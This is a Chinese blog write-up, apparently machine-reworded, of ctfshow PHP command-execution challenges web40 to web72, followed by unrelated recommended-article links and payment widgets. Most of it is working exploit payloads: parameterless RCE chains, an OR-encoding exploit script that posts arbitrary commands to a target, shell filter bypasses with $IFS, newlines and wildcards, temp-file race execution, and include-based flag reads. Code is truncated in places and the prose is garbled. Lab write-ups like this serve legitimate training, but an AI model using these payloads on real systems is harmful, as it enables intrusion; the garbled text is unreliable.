ctfshow web5 php,php代码审计前奏之ctfshow之命令执行

最新推荐文章于 2023-04-02 15:55:09 发布
最新推荐文章于 2023-04-02 15:55:09 发布
阅读量371 收藏 1
点赞数
文章标签： ctfshow web5 php

payload:

?c=data://text/plain,

data://text/plain, 这样就相当于履行了php句子 .php 由于前面的php句子已经闭合了，所以后面的.php会被当成html页面直接显现在页面上，起不到什么 效果

web40~无参数读文件

|\/|\?|\\\\/i", $c)){

eval($c);

}

}else{

highlight_file(__FILE__);

}

过滤了引号、$、冒号，还不能用伪协议。

一般括号里参数都要用引号，这儿学习一下无参数RCE(remote command/code execute)。

无参数的意思能够是a()、a(b())或a(b(c()))，但不能是a('b')或a('b','c')，不能带参数。

概况看这儿：

payload:

c=readfile(next(array_reverse(scandir(getcwd()))));

# 多改写几次

c=readfile(array_rand(array_flip(scandir(getcwd()))));

readfile(array_rand(array_flip(scandir(current(localeconve())))));

wp：

c=session_start();system(session_id());

passid=ls

web41~异或绕过

这个题过滤了$、+、-、^、~使得异或自增和取反结构字符都无法运用，一起过滤了字母和数字。可是特意留了个或运算符|。咱们能够测验从ascii为0-255的字符中，找到或运算能得到咱们可用的字符的字符。这儿先给出两个脚本 exp.py rce_or.php，咱们以后碰到能够运用或运算绕过的能够自己手动修改下即可。生成可用字符的集-合

=32&ord($c)<=126) {

$contents=$contents.$c." ".$a." ".$b."\n";

}

}

}

}

fwrite($myfile,$contents);

fclose($myfile);

大体意思便是从进行异或的字符中排除去被过滤的，然后在判别异或得到的字符是否为可见字符传递参数getflag用法python exp.py

# -*- coding: utf-8 -*-

import requests

import urllib

from sys import *

import os

os.system("php rce_or.php") #没有将php写入环境变量需手动运转

if(len(argv)!=2):

print("="*50)

print('USER：python exp.py')

print("eg： python exp.py http://ctf.show/")

print("="*50)

exit(0)

url=argv[1]

def action(arg):

s1=""

s2=""

for i in arg:

f=open("rce_or.txt","r")

while True:

t=f.readline()

if t=="":

break

if t[0]==i:

#print(i)

s1+=t[2:5]

s2+=t[6:9]

break

f.close()

output="(\""+s1+"\"|\""+s2+"\")"

return(output)

while True:

param=action(input("\n[+] your function：") )+action(input("[+] your command："))

data={

'c':urllib.parse.unquote(param)

}

r=requests.post(url,data=data)

print("\n[*] result:\n"+r.text)

web42~

/dev/null 2>&1");

}else{

highlight_file(__FILE__);

}

payload:

c=ls;

c=cat flag.php;

web43~

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

过滤分号和cat运用 换行符%0a

?c=ls%0a

?c=tac flag.php%0a

说一下为啥system()函数要用的分号或许切断，由于不必的话输入的句子就和后边的>/dev/null 2>&1拼接起来了。毕竟不关输入啥都会把成果输出到/dev/null。

web44~>/dev/null过滤; cat flag

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

过滤;、cat、flag

结合前面的，直接：

?c=tac f*%0a

web45~>/dev/null多过滤空格

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了个空格。

payload:

?c=tac%09f*%0a

?c=tac$IFS\f*%0A

# 这儿 f 前面不加 反斜杠的话就出不来，或许是会被前面的解析到一起吧。

?c=more${IFS}f*%0a

web46~多过滤数字 $ *

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了数字、$ 、*

意味着不能用shell中变量了。

payload:

?c=tac%09fla?.php%0a

nlweb47~多过滤读取函数

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了 more 、less 、 head 、sort 、tail 。

可是 tac 、od 、uniq 等没被过滤

payload:

?c=tac%09fla?.php%0a

?c=nl%09fla?.php%0a

?c=nlweb48~多过滤函数

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤了一些读取函数。

payload:

?c=tac%09fla?.php%0a

?c=tacweb49~多过滤反引号

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤反引号。

payload 同上关相同。

web50~多过滤% x09 x26

/dev/null 2>&1");

}

}else{

highlight_file(__FILE__);

}

多过滤%、09、26

?c=tacfla\g.php%0a

web51~多过滤tac

sset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c.">/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }

这回额定过滤了tac,可是咱们还能够用nl

?c=nl

web52~多过滤重定向符但没过滤 $

if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\ system($c.">/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }

额定过滤了 重定向符< >,可是这儿没过滤$

去查?c=nl${IFS}fla\g.php%0a得到$flag="flag_here";得到了一个假的flag.

查询根目录有啥文件

?c=ls${IFS}/%0a

# bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

?c=nl${IFS}/fla''g%0a

web53

|\

也没多过滤啥。。

?c=ls%0a得到

ls flag.php index.php readflag

readflag

payload:

?c=ls%0a

?c=nlweb54~/bin/?at 绕过

|\

多过滤了一些检查文件指令。

payload:

?c=paste${IFS}fla?.php%0a

?c=/bin/?at${IFS}f?ag.php%0a

?c=/bin/?at${IFS}f???????

web55~过滤一切小写字母

|\

直接过滤了一切小写字母！！！。

那么这儿肯定是要无字符 rce 。

可是这儿没有过滤通配符，所以能够找到一个带有数字的指令，运用通配符履行指令。base64的运用

有个指令是/bin/base64，咱们能够据此结构

?c=/???/????64 ????????

得到

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=

解码即得到flag.

bzip2

bzip2 是 linux 下面的压缩文件的指令。在/usr/bin/bzip2

结构

?C=/???/???/????2 ????????

然后访问flag.php.bz2下载即可获得 flag.php

web56~临时文件

|\

多过滤数字，所以用不了上题的前两种办法。这儿只能详细写一下上题的第三种办法了。

咱们能够经过post一个文件(文件里边的sh指令)，在上传的过程中，经过.(点)去履行履行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(能够经过linux的匹配符去匹配)注意：经过.去履行sh指令不需求有履行权限

咱们需求结构一个post上传文件的数据包。

POST数据包POC文件名：

抓包，结构?c=.+/???/????????[@-[]

deac3e11dbccb9d9acfc443c5c26e034.png

web57~结构数字

|\

system("cat ".$c.".php");

}

}else{

highlight_file(__FILE__);

}

这儿只需求结构 传参 36 即可，可是数字字符都被ban了。

paylaod

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~

$(())))$((~$(())))$((~$(())))))))

linux echo 一下是 36.

web58~readfile读取

post结构c=system('ls');成果

Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

system 函数被 ban了

Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

结构c=print_r(scandir('.'));.得到

Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

payload:

c=readfile('flag.php');

web59~show_source读取

同上关可是，

Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

测验其他读取文件函数

c=show_source('flag.php');

web60-65~show_source读取

payload:

同58相同

web66~highlight_file读取

// 你们在炫技吗？ if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); }else{ highlight_file(__FILE__); }

用曾经办法

Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

c=highlight_file('flag.php');成果

$flag="秀秀得了,这次不在这儿";

c=print_r(scandir('/'));回来

Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

有个flag.txt ，结构 payload:

c=highlight_file('/flag.txt');

web67~var_dump打印

找目录，发现

Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

用c=var_dump(scandir('.'));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

c=highlight_file('flag.php');又是假的。

毕竟

c=highlight_file('/flag.txt');

web68~include读取

翻开标题直接

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

阐明highlight_file函数被禁用了。

c=var_dump(scandir('/'));得到

array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }

有个flag.txt

readfile、show_source、highlight_file被禁用了.

读取不了，可是咱们还能够直接文件包括。

payload:

c=include('/flag.txt');

web69~var_export打印

相同是

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

var_dump 也被禁用

Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

var_export — 输出或回来一个变量的字符串表示

用c=var_export(scandir('/'));得到

array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload：

c=var_export(scandir('/'));` c=include('/flag.txt');

web70~var_export+include

直接：

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21 你要上天吗？

payload:

c=var_export(scandir('/')); c=include('/flag.txt');

web71~exit(0); 绕过后边代码

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天吗？

c=var_export(scandir('/'));得到

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天吗？

......发现有个附件，下载翻开：

error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗？ if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); $s=ob_get_contents(); ob_end_clean(); echopreg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗？

代码把输出的字母数字都转化为问号?.

咱们能够是服务端履行完咱们的歹意 payload 后就中止运转 php 程序。

所以能够c=var_export(scandir('/'));exit(0);使得后边的代码中止履行，从而不会被正则替换。

payload:

c=var_export(scandir('/'));exit(0); c=include('/flag.txt');exit(0);

web72~open_basedir

下载附件：

error_reporting(0); ini_set('display_errors', 0); 回复列表

加载更多评论

weixin_39628339
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
学习PHP的前奏
04-29
学习PHP的前奏，HTML,CSS，javascript,jquery,bootstrap
前奏
02-14
前奏 测试回购以获取一些高尔夫乐趣 如果您没有此新部分，请在composer.json中添加；如果有，只需添加“存储库” "repositories": [ { "type": "vcs", "url": "https://github.com/jtx/foreup" } ], 在composer...
php 写入文件 ctf,[CTF]文件包含(php伪协议)+代码执行(XCTF 4th-CyberEarth)
weixin_42305622的博客
03-10 1001
原作者：admin[原理]文件包含读源码、x-forwarded-forpreg_replace 函数执行一个正则表达式的搜索和替换，preg_replce正则表达式部分包含e参数的时候，进行替换的部分会被执行。[目的]掌握正则表达式、伪协议读取源码[环境]windows[工具]firefox、burp[步骤]1.进入云平台设备维护中心页面，利用PHP伪协议读取源码。2.将得到的源码进行base6...
CTFshow web入门 web5
weixin_45990644的博客
07-07 410
CTFshow web入门 web5 题目提示有phps（没学过，头疼），点开链接后查源码也是没什么东西。 看了下群主视频后在链接后面加了“index.phps”将网站的源码下了下来，因为我电脑里没装Dreamweaver（专门运行php的软件），懂了个歪脑筋改了后缀用记事本打开了。 参考来源： ctfshow-web入门-信息搜集-web5(biilbili视频) ...
[GXYCTF2019]Ping Ping Ping
rang的博客
10-18 208
通过大佬的博客学习知道怎么绕过 命令执行漏洞利用及绕过方式总结 首先使用burp抓包看看过滤了什么字符 基本上大部分字符都被过滤了，就很烦人 尝试构造?ip=127.0.0.1;ls 发现有两个东西 ?ip=127.0.0.1;ls flag.php 发现被过滤 空格和flag都被过滤了 用刚才学到的${IFS}绕过 可能{}也被过滤了 用$IFS$1绕过 在网上看到源码 发现bash也被过滤 还好sh可以利用 ?ip=127.0.0.1;echo$IFS$1Y2phpF0IGZsYWcuc
ctfshow web入门58-77(命令执行 bypass禁用函数和访问目录)
Firebasky的博客
09-18 1757
1. web58-65 payload：c=show_source('flag.php'); 2. web66 1.查看flag文件 c=print_r(scandir("/")); c=highlight_file('/flag.txt'); 3. web67 盲猜 c=highlight_file('/flag.txt'); 4. web68-70 尝试include('index.php'); 发现字节太大了 直接盲猜c=include('/flag.txt'); 5. web71 <?php
PHP 执行 system、exec 等函数发生错误
热门推荐
agoago_2009的专栏
12-06 2万+
往往在调用system、exec 等函数时，要么没有反应，要么出错： 原因很多，以下是抄别人的： ==================================================================================== 错误分析： 1、Warning: system() has been disabled for security r
Android编程之虚拟机Dalvik教程 pdf文件
10-06
Android编程之虚拟机Dalvik教程 pdf，介绍Dalvik与标准Java虚拟机的差别以及运行环境的区别、以及Dalvik的形势前景分析、Android中各种Java包的功能描述、相关文件类型、应用程序结构分析、Android Adb工具介绍等，...
Java_Web开发实战经典》总结-开发前奏(图文并貌)
08-28
学习完《Java_Web开发实战经典》的深刻总结，纵横对比，前后知识点相联系，提出问题思考，图文并貌。
JAVA开发前奏.ppt
07-31
Java概述：发展及其优点、技术架构 解释JVM及JAVA跨平台的原理 Java开发环境的搭建及其环境变量的设置 体会JAVA编程过程
中科磐云Batt8赛题及答案汇总
04-19
中科磐云Batt8赛题及答案汇总
运行case出现system() has been disabled for security reasons
满天星的博客
09-28 1325
找到php.ini文件，打开，找到disable_functions，删除system
【CTF】命令执行RCE
qq_53099119的博客
04-02 2617
md5() 函数计算字符串的 MD5 散列。md5() 函数使用 RSA 数据安全，包括 MD5 报文摘要算法。来自 RFC 1321 的解释 - MD5 报文摘要算法：MD5 报文摘要算法将任意长度的信息作为输入值，并将其换算成一个 128 位长度的"指纹信息"或"报文摘要"值来代表这个输入值，并以换算后的值作为结果。MD5 算法主要是为数字签名应用程序而设计的；
CTFWEB 代码执行&命令执行&CTFSHOW wp
m0_48736242的博客
10-02 2056
CTFWEB 代码执行&命令执行&CTFSHOW wp
无字母命令执行
WHQ556677的博客
12-30 1160
先看一道题 <?php error_reporting(0); show_source(__FILE__); if (isset($_GET['a'])) { $c=$_GET['a']; if (!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)) { system($c); }else { echo "hacker!"; } } ?> 代码审计 过滤了字母
PHP Warning: exec() has been disabled for security 问题解决办法
qq_41187577的博客
11-23 5257
在运行php文件,执行exec方法时报该错误: PHP Warning: system() has been disabled for security reasons in … 这是因为php7以上版本禁用了exec()函数,那么就修改php.ini配置文件,把这个函数从禁用的函数列中删除: 1.查看php.ini文件所在目录 php -i|grep ini 2.进入编辑php.ini文件 vim /usr/local/php70/etc/php.ini 按i 键进入编辑,找到exec删除即可,
CTFShow 命令执行
paidx0
06-11 1056
web29 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 题目过滤了flag，相当于什么也没过滤，姿势就有很多了 payload1:c=system("nl fla?????"); payload2:c=system("
CTFSHOW Web入门 44-52
m0_50936156的博客
01-22 430
目录web 44web 45web 46web 47web 48web 49web 50web 51web 52 web 44 if(!preg_match("/;|cat|flag/i", $c)) {system($c." >/dev/null 2>&1"); 这题过滤了cat，flag 关于cat的过滤绕过可以用以下命令来替换 cat file1 从第一个字节开始正向查看文件的内容 tac file1 从最后一行开始反向查看一个文件的内容 more file1 查看一个长文
python 跳过 mp3前奏
最新发布
08-31
如果你想使用Python来跳过MP3文件的前奏部分，你可以使用音频处理库来实现这个功能，例如pydub。下面是一个简单的示例代码： ```python from pydub import AudioSegment def remove_intro(filename, intro_duration): audio = AudioSegment.from_file(filename) intro = audio[:intro_duration * 1000] # 将前奏部分提取为指定时长的片段 audio = audio[intro_duration * 1000:] # 剔除前奏部分 audio.export('output.mp3', format='mp3') # 导出处理后的音频文件 # 使用示例 remove_intro('input.mp3', 10) # 跳过前10秒的前奏 ``` 在这个示例中，我们使用pydub库加载MP3文件，并通过切片操作来提取和剔除前奏部分。`remove_intro`函数接受两个参数：文件名和前奏时长（以秒为单位）。最后，我们使用`export`方法将处理后的音频保存到一个新的MP3文件中（输出文件名为"output.mp3"）。 请注意，为了运行此代码，你需要先安装pydub库（`pip install pydub`）。此外，该代码只能处理纯音频的前奏，如果前奏中包含其他音频元素（例如声音效果或混音等），则可能需要更复杂的算法来跳过前奏。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值